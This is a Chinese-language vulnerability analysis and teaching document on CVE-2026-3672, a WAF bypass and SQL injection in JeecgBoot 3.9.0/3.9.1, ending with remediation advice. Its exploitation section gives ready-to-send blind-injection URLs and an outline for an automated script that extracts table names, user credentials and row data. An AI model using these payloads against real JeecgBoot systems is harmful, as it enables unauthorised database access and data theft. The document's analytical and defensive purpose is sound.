CVE-2026-3672 Jeecgboot 3.9.1/3.9.0 WAF绕过与SQL注入漏洞分析教学文档
1. 漏洞概述
漏洞编号: CVE-2026-3672
目标系统: JeecgBoot
受影响版本: 3.9.1, 3.9.0
漏洞类型: Web应用防火墙(WAF)绕过 -> SQL注入
利用条件: 任意用户权限
风险等级: 高危
2. 漏洞核心机理
该漏洞的核心在于JeecgBoot内置WAF的逻辑缺陷,通过特定的Payload构造,可以绕过其SQL注入防护机制,实现布尔盲注。其缺陷主要体现在以下几个方面:
- 黑名单机制不对称:通用检查与字典检查所使用的黑名单存在差异,导致某些关键字在一种检查中被拦截,在另一种检查中却被放行。
- 正则匹配逻辑缺陷:用于检测SQL关键字的正则匹配规则存在逻辑漏洞,使得精心构造的Payload可以避开检测。
- 不安全的SQL拼接:在特定的代码路径中,用户输入的过滤条件(
filterSql)被直接拼接到SQL语句的WHERE子句之后,未经过参数化处理。
3. 漏洞详细分析
3.1 触发入口
控制器: SysDictController.java
入口路由: GET /sys/dict/getDictItems/{dictCode} 或 GET /jeecg-boot/sys/api/getDictItems?dictCode=...
dictCode参数被直接传递给sysDictService.getDictItems(dictCode)方法进入业务逻辑。
3.2 代码路径分析
在SysDictServiceImpl.java中,服务层根据dictCode的格式进行路由:
- 三段格式 (如:
表名,显示字段,存储字段): 调用queryTableDictItemsByCode。 - 四段格式 (如:
表名,显示字段,存储字段,过滤条件): 调用queryTableDictItemsByCodeAndFilter(params[0], params[1], params[2], params[3])。漏洞关键点在于第四段。
在四段格式的处理中,dictCode的第四段被解析为过滤条件(filterSql),并传入${filterSql}。此时代码未走默认的SQL注入检查,而是进入了specialFilterContentForDictSql通道(即字典专用检查)。
3.3 WAF逻辑缺陷详解
对比默认检查与字典专用检查的黑名单:
- 默认检查黑名单 (
XSS_STR):"and |exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|--" - 字典专用检查黑名单 (
specialDictSqlXssStr):"exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|+|--"
关键差异:字典专用检查黑名单中缺少了 and 和 or 这两个关键字。这是第一个可被利用的弱点。
第二个逻辑缺陷在于黑名单的匹配函数 (isSpecialCharExist 及其调用的 checkSQLInject)。
- 匹配规则:对于大部分关键字(如
select,from),系统使用正则表达式\\s+\\S+关键字进行匹配。这意味着它查找的模式是“一个或多个空白字符 + 一个或多个非空白字符 + 关键字”。 - 双重校验:即使上述模式匹配成功,也仅当匹配到的片段中包含
%、+、#、/、)等特殊符号时,才会被判定为恶意输入并进行拦截。这是一个致命的逻辑错误。
Payload构造绕过分析:
漏洞文档中给出的基础Payload为:
1=1%20and%20(select%20count(username)%20from%20sys_user)
- 针对
select的绕过:- WAF匹配模式:
\s+\S+select - 输入片段:
and (select - 匹配结果: 成功匹配到
(select(空格 +(+select)。但该片段不包含),因此WAF判定为通过。
- WAF匹配模式:
- 针对
from的绕过:- WAF匹配模式:
\s+\S+from - 输入片段:
) from - 匹配结果: 匹配失败。因为
from前的字符是空格,不满足\S+(一个或多个非空白字符)的要求。因此WAF判定为通过。
- WAF匹配模式:
结论:通过构造类似 (select ... ) from 的语法结构,可以同时绕过对select和from的关键字检查,从而实现SQL注入。
4. 漏洞利用步骤(布尔盲注)
前提:由于information_schema等常用系统表被黑名单拦截,需使用备用表mysql.innodb_index_stats。
4.1 布尔盲注判断逻辑
通过观察请求返回结果进行判断:
- 页面返回正常数据(非空JSON数组) -> 注入条件为真(True)。
- 页面返回空数组或错误 -> 注入条件为假(False)。
4.2 利用Payload示例
-
基础验证Payload:
/jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1%20and%20(select%20count(username)%20from%20sys_user) -
查当前数据库下表的数量 (Payload URL编码后):
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+((select+count(distinct+table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3e=124) HTTP/1.1 -
获取第一个表名 (逐字符爆破):
- 判断表名长度:
... and((select+length(min(table_name))+from+mysql.innodb_index_stats+where+database_name=database())%3E17) - 判断第一个字符 (从
'z'到'a'及数字递减比较):... and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3E'z') - 判断第二个字符 (基于第一个字符
'a'):... and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3E'az') - 最终验证完整表名:
... and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3d'aigc_word_template')
- 判断表名长度:
-
获取指定表的数据 (以
aigc_word_template表,id字段为例):- 判断字段是否存在:
... and(select+count(id)+from+aigc_word_template)%3E=0 - 判断字段值长度 (从0开始递增):
... and+exists(select+id+from+aigc_word_template+where+length(id)%3e19) // 返回假 ... and+exists(select+id+from+aigc_word_template+where+length(id)%3D19) // 验证为真,则长度=19 - 逐位获取字段值 (使用
like和cast):... and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'1%25') ... and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'19%25') ... and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'1957327567174488065%25')
- 判断字段是否存在:
-
遍历多行数据 (假设已知第一行
id为1898995126819143682,查询下一行):- 确认存在下一行:
... and+exists(select+1+from+airag_app+where+id+%3E+'1898995126819143682') - 获取下一行
id的值 (同样逐字符比较):... and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'1%25')
- 确认存在下一行:
4.3 自动化利用脚本思路
手动构造所有Payload效率极低,文档中给出了自动化脚本的核心逻辑,主要包括以下功能函数:
send_payload(condition): 发送注入条件,并根据返回结果判断布尔值(真/假)。check_field_exists(table, field): 检查指定表的指定字段是否存在。table_has_data(table): 检查指定表是否有数据。get_all_row_ids(table): 获取指定表的所有行ID。get_field_value_by_id(table, field, row_id): 根据行ID获取特定字段的值。
利用流程:
- 利用
mysql.innodb_index_stats表爆破出当前数据库的所有表名。 - 针对每个表,使用一个预定义的常用字段字典(如
id,name,username,password,email,phone,create_time,update_time等)来检查字段是否存在,而非盲目遍历information_schema.columns,以大幅降低请求次数和时间复杂度。 - 对于存在数据的表和有数据的字段,逐行、逐字段地利用布尔盲注提取数据。
5. 修复建议
-
根本性修复:
- 禁止四段式
dictCode:不再允许外部传入filterSql(过滤条件)。 - 使用参数化查询:将
MapperXML文件中的where ${filterSql}改为使用MyBatis的参数绑定(如#{filterValue}),或使用<where>标签配合<if>进行安全的动态SQL构建。 - 结构化过滤:如果业务上必须支持动态过滤,应设计为“字段白名单 + 参数化值”的模式。例如,前端传递
{field: 'name', operator: '=', value: 'test'},后端在代码层面进行校验和拼接。
- 禁止四段式
-
加固性修复:
- 统一并强化黑名单:确保所有SQL检查路径(默认检查和字典检查)使用同一套完备且严格的关键字黑名单。但需明确,黑名单仅为辅助和兜底手段,不能作为唯一的防护措施。
- 修复正则逻辑:修正
checkSQLInject方法中的正则匹配和后续的符号检查逻辑,消除可被绕过的缺陷。 - 最小权限原则:确保应用连接数据库的账户仅具有必要的最小操作权限。
6. 总结
CVE-2026-3672漏洞是典型的“安全机制设计缺陷导致防护被绕过”案例。其根源在于:
- 输入验证与净化不足:对用户可控的
filterSql参数未做有效校验和净化。 - 依赖不可靠的黑名单:将安全依赖于存在逻辑缺陷和覆盖不全的黑名单机制。
- SQL拼接风险:直接进行字符串拼接构造SQL语句。
在开发和代码审计中,应始终坚持“外部输入不可信”原则,优先使用参数化查询等根本性安全方案,避免直接拼接SQL,并对所有安全校验逻辑进行充分测试。